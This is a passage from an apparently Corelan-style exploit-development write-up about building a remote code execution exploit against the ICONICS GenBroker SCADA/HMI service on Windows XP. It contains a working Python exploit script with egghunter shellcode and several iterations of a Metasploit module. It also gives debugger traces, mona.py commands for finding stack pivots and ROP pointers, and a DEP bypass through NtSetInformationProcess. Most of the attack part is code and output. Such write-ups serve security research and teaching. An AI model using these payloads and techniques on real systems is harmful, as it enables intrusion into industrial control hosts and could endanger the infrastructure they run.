#8b0000\">\\xb0\\x04<\/span>\"\nheader2 = \"<span style=\"color: #8b0000\">\\x00<\/span>\" * 36\nheader3 = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x40<\/span>\"\n\nsc = \"<span style=\"color: #8b0000\">w00tw00t<\/span>\"\nsc+= \"<span style=\"color: #8b0000\">\\xcc\\xcc\\xcc\\xcc<\/span>\"\nsc+= \"<span style=\"color: #8b0000\">D<\/span>\" * 1000    \n\negg = (\"<span style=\"color: #8b0000\">\\x66\\x81\\xca\\xff\\x0f\\x42\\x52\\x6a\\x02<\/span>\"\n\"<span style=\"color: #8b0000\">\\x58\\xcd\\x2e\\x3c\\x05\\x5a\\x74\\xef\\xb8\\x77\\x30<\/span>\"\n\"<span style=\"color: #8b0000\">\\x30\\x74\\x8b\\xfa\\xaf\\x75\\xea\\xaf\\x75\\xe7\\xff\\xe7<\/span>\")\n\nbuffer = \"<span style=\"color: #8b0000\">\\x5c\\x45<\/span>\" * 180\nbuffer+= \"<span style=\"color: #8b0000\">A<\/span>\" * 14               #offset to <span style=\"color: #0000ff\">return<\/span> to venitian <span style=\"color: #0000ff\">code<\/span>\nbuffer+= \"<span style=\"color: #8b0000\">\\x61\\x42\\x58\\x42\\xc3<\/span>\" #ventetian walk to egghunter\nbuffer+= \"<span style=\"color: #8b0000\">A<\/span>\" * 53               #another memcpy is done here before the next one writen to <span style=\"color: #0000ff\">stack<\/span>\nbuffer+= \"<span style=\"color: #8b0000\">\\x7f<\/span>\" * 8             #control memcpy size for <span style=\"color: #0000ff\">stack<\/span> to maximize length\nbuffer+= egg\nbuffer+= \"<span style=\"color: #8b0000\">B<\/span>\" * (127-len(egg))   #bytes free for sc\nbuffer+= \"<span style=\"color: #8b0000\">\\xfe<\/span>\" * 140           #needs to be over 7f to get to the call edx\nbuffer+= sc\nbuffer+= \"<span style=\"color: #8b0000\">B<\/span>\" * (10000-len(sc))\n\npayload = header + opcode + header2 + header3 + buffer\n\n<span style=\"color: #0000ff\">def<\/span> sploit():\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect(('127.0.0.1', 38080))\n    <span style=\"color: #0000ff\">print<\/span> \"<span style=\"color: #8b0000\">[+] Kill packet sent!\\n<\/span>\"\n    s.send(payload)\n    s.<span style=\"color: #0000ff\">close<\/span>()\n\n<span style=\"color: #0000ff\">if<\/span> __name__ == '<span style=\"color: #0000ff\">__main__<\/span>':\n        try:\n                sploit()\n        except:\n                <span style=\"color: #0000ff\">print<\/span> \"<span style=\"color: #8b0000\">error<\/span>\"\n                <span style=\"color: #0000ff\">sys<\/span>.<span style=\"color: #0000ff\">exit<\/span>(0)<\/pre>\n<p>The first thing I did was convert our code into a Meta module and test different payloads.<\/p>\n<p>While I could get Bind\/Reverse shells to work, meterpreter would not work (there will be more on this later).<\/p>\n<p>At this time this current code will work on both XP and Windows 2003 with DEP disabled or safeseh DEP (processors that do not support Hardware DEP since it\u2019s enabled ON by default on 2003).<\/p>\n<p>We have reliable code execution, but there are 2 issues :<\/p>\n<ul>\n<li>Meterpreter doesn't work <\/li>\n<li>no DEP bypass <\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3>Target OS selection, DEP Bypass<\/h3>\n<p>Because our target is a HMI application, it's very likely that we need to write an exploit that will work against Windows XP. Although Windows XP was released back in 2003, it still has the biggest market share of all Windows client operating systems. Especially in the Scada world, XP is still the de facto standard for hosting HMI applications.<\/p>\n<p>We realize that in the default configuration of XP, DEP won't have a big impact on an exploit that targets the Genesis application, but we will still assume DEP was enabled for all applications and services.<\/p>\n<p>So moving forward, I decided to start with XP with DEP enabled for now (skip 2003 server) , and we would revisit the issue with Meterpreter later.<\/p>\n<p>&nbsp;<\/p>\n<h3>Solution III (the last and final one)<\/h3>\n<p>If DEP is enabled, we will not be able to use our Venetian shell code (unless we can set up a rop chain using Unicode pointers)<\/p>\n<p>We will need to find another buffer layout, another way to reach code execution.<\/p>\n<p>To this I am going to have to revisit all the tables in GenBroker.exe, and see if there is another function that will allow a different flow.<\/p>\n<p>Also going forward, we will start writing Metasploit code right away since this will be the final module I submit.<\/p>\n<p>After lots of testing and going through each function in the IAT tables I could choose from I finally found something interesting. First lets look at our basic code setup, our skeleton code will look like:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">'Windows XP',\n{\n        'Ret' =&gt; \"<span style=\"color: #8b0000\">\\x70\\x45<\/span>\",\n        'Max' =&gt; 9000,\n}\n\n<span style=\"color: #0000ff\">def<\/span> exploit\n\n\theader  = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\xb0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x40<\/span>\"\n\n\tsploit  = target['Ret'] * 180   <span style=\"color: #008000\">#retn to call + [EAX + 58]<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x7f<\/span>\" * 34           <span style=\"color: #008000\">#max buffer + max memcpy()<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">A<\/span>\" * 128             <span style=\"color: #008000\">#buffer on stack <\/span>\n\tsploit &lt;&lt; rand_text_alpha(target['Max']-sploit.length)\n\n\tconnect\n\tprint_status(\"<span style=\"color: #8b0000\">Sending request. This will take a few seconds...<\/span>\")\n\tsock.put(header + sploit)\n\n\thandler\n\tdisconnect\n\n<span style=\"color: #0000ff\">end<\/span><\/pre>\n<p>If we take a look at 0x00450070 (and add + 0x08 for our call [EDX + 8]) we see the below IAT address.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">00450078   . 90F94400       DD GenBroke.0044F990                     ;  Switch table used at 0044F91B<\/pre>\n<p>At 0x44f990 will run through a bunch of functions until we get to:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">7C29BC65   E8 CD13FCFF      CALL MFC71U.7C25D037<\/pre>\n<p>After we single step through that function we come to:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">7C25D037   55               PUSH EBP\n7C25D038   8BEC             MOV EBP,ESP\n7C25D03A   51               PUSH ECX\n7C25D03B   51               PUSH ECX\n7C25D03C   53               PUSH EBX\n7C25D03D   56               PUSH ESI\n7C25D03E   8BF1             MOV ESI,ECX\n7C25D040   F646 18 01       TEST BYTE PTR DS:[ESI+18],1\n7C25D044   57               PUSH EDI\n7C25D045   0F84 7FE80200    JE MFC71U.7C28B8CA\n7C25D04B   8B4E 28          MOV ECX,DWORD PTR DS:[ESI+28]\n7C25D04E   8B45 08          MOV EAX,DWORD PTR SS:[EBP+8]\n7C25D051   8D5E 2C          LEA EBX,DWORD PTR DS:[ESI+2C]\n7C25D054   8B3B             MOV EDI,DWORD PTR DS:[EBX]\n7C25D056   2BF9             SUB EDI,ECX\n7C25D058   03C7             ADD EAX,EDI\n7C25D05A   837E 08 00       CMP DWORD PTR DS:[ESI+8],0\n7C25D05E   8945 F8          MOV DWORD PTR SS:[EBP-8],EAX\n7C25D061   0F84 6DE80200    JE MFC71U.7C28B8D4\n7C25D067   85FF             TEST EDI,EDI\n7C25D069   0F85 D2E80200    JNZ MFC71U.7C28B941\n7C25D06F   8B4E 24          MOV ECX,DWORD PTR DS:[ESI+24]\n7C25D072   8B01             MOV EAX,DWORD PTR DS:[ECX]\n7C25D074   53               PUSH EBX\n7C25D075   8D7E 30          LEA EDI,DWORD PTR DS:[ESI+30]\n7C25D078   57               PUSH EDI\n7C25D079   FF76 20          PUSH DWORD PTR DS:[ESI+20]\n7C25D07C   6A 00            PUSH 0\n7C25D07E   FF50 58          CALL DWORD PTR DS:[EAX+58]<\/pre>\n<p>If we continue to run through this code we end up with an access violation reading [ECX] (which we control)<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic5.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"pic5\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic5_thumb.png\" width=\"493\" height=\"341\"><\/a><\/p>\n<p>if we follow the code until 7C25D07E, we see a call to [EAX+58]. Since EAX is populated from reading [ECX], and there doesn't seem to be unicode conversion involved, this might be very interesting.<\/p>\n<p>Up until now we have seen the \u201cGood\u201d and the \u201cBad\u201d, but despite the fact that this looks promising, it\u2019s about to get \"ugly\".<\/p>\n<p>&nbsp;<\/p>\n<h3>The 'problem' - from call [eax+58] to EIP<\/h3>\n<p>Looking at the available options, I decided to try to take advantage of the call [eax+58] inside function CArchive::FillBuffer() (mfc71u.dll).&nbsp; The CArchive Class, as explained <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/caz3zy5s(v=vs.80).aspx\" target=\"_blank\" rel=\"noopener\">on MSDN<\/a>, allows the developer to save objects in a permanent binary form. These objects persist after the objects are deleted, and can be reconstructed in memory. The process of making data persistent is called \"serialization\".<\/p>\n<p>As result of the allocation issues, our payload appears to have overwritten a function pointer \/ vtable in the heap, which gets copied onto the stack. When the code inside the FillBuffer() function runs, ESI contains a pointer to the stack. Because of the corruption, at ESI+24, we find a pointer to the heap.&nbsp; At that location in the heap, there is a pointer into our controlled buffer.<\/p>\n<p>From that point on, a series of dereferences allow us to control the call at 0x7c25D07E.&nbsp; ([ECX] -&gt; EAX -&gt; [EAX+58])<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">7C25D06F   &gt; 8B4E 24        MOV ECX,DWORD PTR DS:[ESI+24]\n7C25D072   . 8B01           MOV EAX,DWORD PTR DS:[ECX]\n7C25D074   . 53             PUSH EBX\n7C25D075   . 8D7E 30        LEA EDI,DWORD PTR DS:[ESI+30]\n7C25D078   . 57             PUSH EDI\n7C25D079   . FF76 20        PUSH DWORD PTR DS:[ESI+20]\n7C25D07C   . 6A 00          PUSH 0\n7C25D07E   . FF50 58        CALL DWORD PTR DS:[EAX+58]<\/pre>\n<p>In normal operation, this routine eventually leads to a call to function MFC71U.#2466 (0x7C286D2D, which is CMemFile::GetBufferPtr()).<\/p>\n<p>There are 2 issues.<\/p>\n<p>First of all, we need to figure out where we want our call to end up.&nbsp; We have to bypass DEP, so we'll need some kind of stackpivot that doesn't just \"jmp\" to our payload, but rather should return to the first gadget in a rop chain.<\/p>\n<p>Once we figured out what kind of pivot we need, we need to put a pointer at [[ESI+24]], which should eventually lead to running the stackpivot.<\/p>\n<p>In short, based on the instruction flow, we'll need to find a reliable pointer<em> (ECX)<\/em> to (pointer - 58)<em> (EAX)<\/em> to pointer to our stack pivot.<\/p>\n<p>Damn. Finding a pointer to pointer to an instruction is hard enough.<\/p>\n<p>The additional level (depth) and the fact that we need to compensate for the +58 offset doesn't make things easier. Good luck.<\/p>\n<p>&nbsp;<\/p>\n<h3>Stack layout<\/h3>\n<p>First things first. Before trying to find the required pointer, we need to figure out what our options are. The most obvious approach at this point is to look on the stack for either pointers into our controlled buffer, or look for the controlled buffer itself.<\/p>\n<p>This is what the stack looks like right before the CALL [EAX+58] :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0150FABC   7C25D081  \u0081\u00d0%|  RETURN to MFC71U.7C25D081\n0150FAC0   00000000  ....\n0150FAC4   41414141  AAAA\n0150FAC8   0150FCE4  \u00e4\u00fcP  ASCII \"<span style=\"color: #8b0000\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span>\"\n0150FACC   0150FCE0  \u00e0\u00fcP  ASCII \"<span style=\"color: #8b0000\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span>\"\n0150FAD0   0150FCB4  \u00b4\u00fcP  ASCII \"<span style=\"color: #8b0000\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span>\"\n0150FAD4   0150FCB4  \u00b4\u00fcP  ASCII \"<span style=\"color: #8b0000\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span>\"\n0150FAD8   0150FCB4  \u00b4\u00fcP  ASCII \"<span style=\"color: #8b0000\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span>\"\n0150FADC   00000001  ...\n0150FAE0   0150FCB4  \u00b4\u00fcP  ASCII \"<span style=\"color: #8b0000\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span>\"<\/pre>\n<p>&nbsp;<\/p>\n<h3>The 'solution'<\/h3>\n<h4>Mona.py to the rescue!<\/h4>\n<p>We control 4 bytes at ESP+8, and we have pointers into our payload below that.&nbsp; We need to bypass DEP so we should try to return to the 4 bytes at ESP+8. At that location, we'll have to put in a pointer that would allow us to return into the buffer referenced by one of the pointers on the stack.<\/p>\n<p>Our call [EDX+8] should lead to the first pointer (return to ADD ESP+8).&nbsp; But because of the offset (+58) and the number of levels deep, it will be very time consuming to do this by hand. Luckily mona.py has a way to automate all of this.<\/p>\n<p>First of all, we need to find all available 8 bytes stackpivots. We will allow OS modules for now, we'll figure out which ones are good on all versions of XP later on.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!mona stackpivot -n -distance 8,8 -cm rebase=false,<span style=\"color: #0000ff\">os<\/span>=true<\/pre>\n<p>Next, we'll use the produced file (stackpivot.txt) as input to a recursive find operation, taking the offset into account.<\/p>\n<p>We'll instruct mona to find all ptr to ptr-58 to ptr to our stackpivots :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!mona <span style=\"color: #0000ff\">find<\/span> -type file -s \"<span style=\"color: #8b0000\">&lt;path_to&gt;\\stackpivot.txt<\/span>\" -cm rebase=false,<span style=\"color: #0000ff\">os<\/span>=true -x * -offset 88 -level 2 -offsetlevel 2<\/pre>\n<p>88 = 0x58<\/p>\n<ul>\n<li>Level 2 means it needs to do 2 recursive searches (so take the found pointers and use them as input for another search) <\/li>\n<li>Offsetlevel 2 means it will take the pointer to look for in the second iteration and subtract the offset from it <\/li>\n<li>-x * : make sure we get all pointers (accesslevel any) <\/li>\n<\/ul>\n<p>So, the combined stackpivot search and recursive find allowed us to find all possible pointers without a lot of effort.<\/p>\n<p>From the resulting pointers, we picked 0x771a22e4, which is a pointer from oleaut32.dll<\/p>\n<p>At that address, we find 0x7712DCF0 (again from oleaut32.dll)<\/p>\n<p>At 0x7712DCF0+0x58, we find 0x7712DA34, which is our stackpivot (again in oleaut32.dll)<\/p>\n<p>We figured out what location in the buffer the pointer needs to be placed at, so the new metasploit code now looks like this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">def<\/span> exploit\n\n\theader  = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\xb0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x40<\/span>\"\n\n\tsploit  = target['Ret'] * 180           <span style=\"color: #008000\">#retn to call + [EAX + 58]<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">\\x7f<\/span>\" * 34                   <span style=\"color: #008000\">#max buffer + max memcpy()<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">A<\/span>\" * 32                      <span style=\"color: #008000\">#buffer on stack<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">C<\/span>\" * 4                       <span style=\"color: #008000\">#pointer pushed onto stack, will be first ROP, stack pivot <\/span>\n\tsploit &lt;&lt; [0x771a22e4].pack('V')        <span style=\"color: #008000\">#pointer in ECX which will be ptr -&gt; ptr -&gt; ptr for call [EAX+58]<\/span>\n\tsploit &lt;&lt; \"<span style=\"color: #8b0000\">A<\/span>\" * 88                      <span style=\"color: #008000\">#buffer on stack <\/span>\n\tsploit &lt;&lt; rand_text_alpha(target['Max']-sploit.length)\n\n\tconnect\n\tprint_status(\"<span style=\"color: #8b0000\">Sending request. This will take a few seconds...<\/span>\")\n\tsock.put(header + sploit)\n\n\thandler\n\tdisconnect\n\n<span style=\"color: #0000ff\">end<\/span><\/pre>\n<p>To make sure this is generic, we need to test our pointer 0x771a22e4 on unpatched and patched XP box since we are using an OS module.<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic6.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"pic6\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic6_thumb.png\" width=\"491\" height=\"342\"><\/a><\/p>\n<p>PTR 3 or Pointer 3 looks like:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">7712DA34   5E               POP ESI                                  ; MFC71U.7C25D081\n7712DA35   5D               POP EBP\n7712DA36   C2 0400          RETN 4<\/pre>\n<p>All tests were good, apparently we found a reliable pointer that works on all versions of XP!<\/p>\n<p>So let\u2019s now go ahead and see what happens if we run our code with no break points..<\/p>\n<p><a class=\"thickbox\" href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic7.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-right-width: 0px; margin: 7px; padding-left: 0px; padding-right: 0px; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px\" border=\"0\" alt=\"pic7\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2011\/07\/pic7_thumb.png\" width=\"491\" height=\"342\"><\/a><\/p>\n<p>Woot! All looks like we\u2019re good to go!<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h2>Rip Rop &amp; Roll<\/h2>\n<h3>DEP Bypass &amp; Stack Pivot<\/h3>\n<p>At this point, we control EIP and we can return to a pointer on the stack.&nbsp; Below that location, we find pointers into our payload, so we'll need another pivot to return into that payload. Before we look for that stack pivot we might as well go ahead and see what our options are in terms of setting up a ROP chain.<\/p>\n<p>Because we are targeting Windows XP, we have plenty of functions available to bypass \/ disable DEP.&nbsp; The most commonly used method in exploits today is VirtualProtect... but we can also use NtSetInformationProcess() or setProcessDEPPolicy() on XP.<\/p>\n<p>Either way, we need to be able to get a reliable pointer to that function to pull off a reliable DEP bypass\/disable ROP chain.<\/p>\n<p>In order to find reliable pointers to \"interesting\" functions that will assist in bypassing \/ disabling DEP, I ran \"!mona ropfunc\"<\/p>\n<p>By default, this function will skip OS modules, rebased and\/or aslr modules, and returns this list :<\/p>\n<p>&nbsp;<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0x0084f298 : lstrcpynw | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084f258 : getlasterror | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084f244 : lstrcpyw | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084fb48 : memmove | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084f26c : getmodulehandlea | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084f2f0 : loadlibraryw | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084f2ac : freelibrary | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084f2c0 : loadlibraryexw | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084f2c4 : getmodulehandlew | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n0x0084fb10 : strncpy | startnull {PAGE_WRITECOPY} [GenBroker.exe]\n\nASLR: False, Rebase: False, SafeSEH: True, OS: False, v9.21.201.01 (C:\\Program Files\\Common Files\\ICONICS\\GenBroker.exe)<\/pre>\n<p>&nbsp;<\/p>\n<p>Hmmm not really encouraging.&nbsp; I noticed that one of the application modules is located in the windows folder (GenClientU.dll), and thus labeled as an OS module by mistake.&nbsp; Running a mona ropfunc against that module returns this :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!mona ropfunc -m genclientu.dll<\/pre>\n<p>&nbsp;<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0x101620d8 : freelibrary |  {PAGE_READWRITE} [GenClientU.dll]\n0x10162020 : getlasterror | ascii {PAGE_READWRITE} [GenClientU.dll]\n0x101620e0 : loadlibraryw |  {PAGE_READWRITE} [GenClientU.dll]\n0x101620e4 : getmodulehandlew |  {PAGE_READWRITE} [GenClientU.dll]\n0x10162888 : memmove |  {PAGE_READWRITE} [GenClientU.dll]\n\nASLR: False, Rebase: False, SafeSEH: True, OS: True, v9.21.201.02 (C:\\WINDOWS\\system32\\GenClientU.dll)<\/pre>\n<p>Still no good. That means that we need to revert to using an OS module.&nbsp; One of our goals is to make a reliable exploit that would work on all versions of Windows XP means that we'll have to cross-check all found pointers again &amp; verify if one of the pointers is reliable across the board.<\/p>\n<p>Hardcoding the pointer to a function is not going to work (kernel32\/ntdll are not reliable across patch levels), so we have to find something reliable in the IAT of one of the loaded modules. This is going to be manual work.<\/p>\n<p>First, I enumerated all interesting functions in all loaded modules :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!mona ropfunc -m *<\/pre>\n<p>I filtered out all interesting functions (NtSetInformationProcess(), VirtualProtect(), setProcessDEPPolicy(), etc), and together with other Corelan Team members, we cross-checked all pointers on various OS versions.<\/p>\n<p>Despite the fact that every module has differences, we still managed to find a static \/ reliable pointer to NtSetInformationProcess() in advapi32.dll :<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0x77dd1404 : ntdll.ntsetinformationprocess |  {PAGE_EXECUTE_READ} [ADVAPI32.dll]\nASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5755<\/pre>\n<p>We verified that this pointer is reliable on all XP versions... advapi32.dll itself was different, but luckily the base address and location in the IAT was static.<\/p>\n<p>Woot !<\/p>\n<p>We now have a good pointer, but we'll still need to craft a rop chain using reliable modules only, using the available space.<\/p>\n<p>We won't be able to use OS modules to do this. Luckily since we discovered GenClientU.dll is not an OS module we will look for our Stack Pivot and ROP chains with that module.<\/p>\n<p>We can go ahead and run<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">!mona rop \u2013m GenClientU.dll<\/pre>\n<p>If we look our stack setup from running our call [EAX + 58] pointer we can see that ESP points to our buffer.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">016CFACC   016CFCE0  \u00e0\u00fcl  ASCII \"<span style=\"color: #8b0000\">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/span>\"<\/pre>\n<p>&nbsp;<\/p>\n<p>If we can find a \u201cPOP ESP # RETN\u201d in GenClientU.dll we can return to our buffer. Luckily for us we found one (\"rop.txt\").<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0x100b257b,  # POP ESP # RETN<\/pre>\n<p>Let\u2019s go ahead and add that and rerun, our code now looks like:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #252525; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">def<\/span> exploit\n\n\theader  = \"<span style=\"color: #8b0000\">\\x01\\x00\\x00\\x1e\\x00\\x00\\x00\\x01\\x00\\x00\\x1f\\xf4\\x01\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\xb0\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00<\/span>\"\n\theader &lt;&lt; \"<span style=\"color: #8b0000\">\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x40<\/span>\"\n\n\tsploit  = target['Ret'] * 180           <span style=\"color: #008000\">#retn to call + [EAX + 58]<\/span>\n\tsploit &lt;&lt; \"<span 